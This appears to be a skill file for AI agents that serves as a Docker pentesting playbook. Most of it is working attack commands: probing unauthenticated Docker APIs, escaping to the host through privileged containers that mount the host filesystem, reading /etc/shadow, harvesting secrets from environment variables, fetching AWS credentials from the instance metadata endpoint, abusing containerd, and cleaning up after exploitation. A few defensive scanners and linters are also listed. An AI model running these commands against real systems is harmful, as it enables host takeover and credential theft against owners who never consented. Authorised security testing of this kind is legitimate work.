Docker Pentesting Skill
A comprehensive skill for Docker security assessments, including enumeration, exploitation, container escape, and secret discovery.
When to Use This Skill
Use this skill when:
- You need to enumerate a Docker service (especially on ports 2375/2376)
- You want to exploit an unauthenticated Docker API
- You need to escape from a Docker container to the host
- You're looking for secrets in running containers
- You need to perform privilege escalation via Docker
- You're assessing Docker security configurations
Quick Reference
Default Ports
- 2375/tcp: Docker Remote API (unencrypted, no auth by default)
- 2376/tcp: Docker Remote API (TLS encrypted)
Fast Privilege Escalation
# If you have Docker API access, this gives you root on the host
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
Enumeration
Check if Docker API is Accessible
First, determine if you can reach the Docker API:
# Using curl (works on both 2375 and 2376)
curl -s http://<target>:2375/version | jq
# Using docker CLI
docker -H tcp://<target>:2375 version
# Set environment variable to avoid -H flag
export DOCKER_HOST="tcp://<target>:2375"
docker version
Enumerate Running Containers
# List all containers
docker -H tcp://<target>:2375 ps -a
# Using curl for TLS endpoint
curl -s --insecure https://<target>:2376/containers/json | jq
Inspect Container Details
# Get detailed container info (includes environment variables, mounts, etc.)
docker -H tcp://<target>:2375 inspect <container_id>
# Check what's mounted
curl -s --insecure -X POST -H "Content-Type: application/json" \
https://<target>:2376/containers/<container_id>/exec \
-d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh","-c","mount"]}'
List Images
docker -H tcp://<target>:2375 images
# Using containerd CLI (if available)
ctr images list
Exploitation
Container Escape via Privileged Container
If you can create containers, spawn a privileged one with host filesystem mounted:
# Method 1: Simple chroot escape
docker -H tcp://<target>:2375 run --rm -it --privileged -v /:/host alpine chroot /host /bin/bash
# Method 2: Using curl API (for TLS endpoint)
curl -s --insecure -X POST -H "Content-Type: application/json" \
https://<target>:2376/containers/create?name=escape \
-d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /host /bin/bash"],"Binds":["/:/host"],"Privileged":true}'
curl -s --insecure -X POST https://<target>:2376/containers/escape/start
curl -s --insecure -X POST -H "Content-Type: application/json" \
https://<target>:2376/containers/escape/exec \
-d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"]}'
Read Sensitive Files
# Read /etc/shadow
docker -H tcp://<target>:2375 run --rm -v /:/host alpine cat /host/etc/shadow
# Read any file
docker -H tcp://<target>:2375 run --rm -v /:/host alpine cat /host/<path/to/file>
Extract Secrets from Running Containers
# Get container ID
docker -H tcp://<target>:2375 ps | grep <service_name>
# Inspect for environment variables (often contain secrets)
docker -H tcp://<target>:2375 inspect <container_id> | jq '.[0].Config.Env'
# Copy files from container
docker -H tcp://<target>:2375 cp <container_id>:/etc/<secret_file> ./
# Execute commands to find secrets
docker -H tcp://<target>:2375 exec -it <container_id> env
docker -H tcp://<target>:2375 exec -it <container_id> cat /run/secrets/*
AWS Metadata Access (if container has network access)
# Create exec to fetch AWS credentials
curl -s --insecure -X POST -H "Content-Type: application/json" \
https://<target>:2376/containers/<container_id>/exec \
-d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh","-c","wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
# Get the exec ID from response, then start it
curl -s --insecure -X POST -H "Content-Type: application/json" \
https://<target>:2376/exec/<exec_id>/start -d '{}'
Containerd Exploitation
If containerd is accessible directly:
# Pull an image
ctr images pull --skip-verify --plain-http <registry>:5000/alpine:latest
# Create and start a container
ctr container create <image> <container_name>
ctr task start <container_name>
# Attach to running container
ctr tasks attach <container_name>
# List and manage containers
ctr container list
ctr task list
ctr task kill -s SIGKILL <container_name>
ctr container delete <container_name>
Podman Considerations
Podman is compatible with Docker CLI but has key differences:
# Podman commands (same as docker)
podman --version
podman info
podman images ls
podman ps
# Podman supports rootless containers by default
# This can be both a security feature and a limitation for exploitation
Security Assessment Tools
Docker Security Benchmarks
# docker-bench-security - comprehensive security check
git clone https://github.com/docker/docker-bench-security
cd docker-bench-security
./docker-bench-security.sh
# dockscan - Docker security scanner
dockscan -v unix:///var/run/docker.sock
# amicontained - check container privileges
docker run --rm -it r.j3ss.co/amicontained
docker run --rm -it --pid host r.j3ss.co/amicontained
Dockerfile Linting
# hadolint - popular Dockerfile linter
docker run --rm -i hadolint/hadolint < Dockerfile
# dockerfile-linter
dockerfilelinter -f Dockerfile
# dockerfilelint
dockerfilelint Dockerfile
Image Vulnerability Scanning
# Clair - vulnerability scanner for container images
docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
clair-scanner -c http://<clair_ip>:6060 --ip <target_ip> <image_name>
Runtime Monitoring
# Falco - runtime security monitoring
docker run -it --privileged \
-v /var/run/docker.sock:/host/var/run/docker.sock \
-v /dev:/host/dev \
-v /proc:/host/proc:ro \
-v /boot:/host/boot:ro \
-v /lib/modules:/host/lib/modules:ro \
-v /usr:/host/usr:ro \
falcosecurity/falco
Common Attack Patterns
Pattern 1: Unauthenticated Docker API
Scenario: Port 2375 is open with no authentication
Exploitation:
export DOCKER_HOST="tcp://<target>:2375"
docker run -it -v /:/host ubuntu:latest chroot /host/ bash
Pattern 2: TLS Docker API with Weak Certificates
Scenario: Port 2376 is open with self-signed or weak certificates
Exploitation:
# Use --insecure flag with curl
curl -s --insecure https://<target>:2376/containers/json | jq
# Create privileged container via API
curl -s --insecure -X POST -H "Content-Type: application/json" \
https://<target>:2376/containers/create?name=pwned \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}'
Pattern 3: Container with Host Mounts
Scenario: Container already has host filesystem mounted
Exploitation:
# Find the mount point
docker exec -it <container_id> mount | grep /host
# Escape to host
cd /host
chroot /bin/bash
Pattern 4: Secrets in Environment Variables
Scenario: Container has sensitive data in environment variables
Exploitation:
# List all environment variables
docker exec -it <container_id> env
# Look for common secret patterns
docker exec -it <container_id> env | grep -iE '(password|secret|key|token|api_key|aws)'
# Inspect container config
docker inspect <container_id> | jq '.[0].Config.Env'
Cleanup
After exploitation, clean up created containers:
# Stop and remove containers
docker -H tcp://<target>:2375 stop <container_id>
docker -H tcp://<target>:2375 rm <container_id>
# Or prune all stopped containers
docker -H tcp://<target>:2375 container prune
# Using curl API
curl -s --insecure -X POST https://<target>:2376/containers/prune